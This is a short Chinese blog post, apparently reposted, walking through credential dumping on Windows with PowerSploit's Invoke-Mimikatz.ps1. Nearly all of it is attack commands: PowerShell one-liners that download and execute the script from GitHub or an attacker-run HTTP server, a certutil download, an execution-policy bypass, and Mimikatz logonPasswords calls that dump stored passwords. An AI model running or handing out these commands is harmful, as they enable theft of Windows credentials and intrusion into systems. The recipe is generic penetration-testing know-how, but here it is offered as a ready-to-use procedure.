参照：https://blog.51cto.com/simeon/2126106

进行实现

 

Invoke-Mimikatz.ps1下载地址

https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

（1）目标主机具备网络环境

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

powershell + Invoke-Mimikatz.ps1获取系统密码_github

 

（2）目标主机不具备网络环境

powershell "IEX (New-Object Net.WebClient).DownloadString('http://10.26.32.106:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

powershell + Invoke-Mimikatz.ps1获取系统密码_下载地址_02

 

（3）把文件下载到目标主机进行执行

#使用certutil下载
certutil.exe -urlcache -split -f "http://10.26.32.106:8000/Invoke-Mimikatz.ps1"  
#执行Mimikatz
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'

powershell + Invoke-Mimikatz.ps1获取系统密码_github_03

 

有授权限制的：


Get-ExecutionPolicy  //结果显示restricted

powershell + Invoke-Mimikatz.ps1获取系统密码_下载地址_04

Set-ExecutionPolicy Unrestricted  //打开限制

powershell + Invoke-Mimikatz.ps1获取系统密码_文件下载_05

Import-Module .\Invoke-Mimikatz.ps1 //导入命令

powershell + Invoke-Mimikatz.ps1获取系统密码_下载地址_06

Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"' //获取密码

powershell + Invoke-Mimikatz.ps1获取系统密码_github_07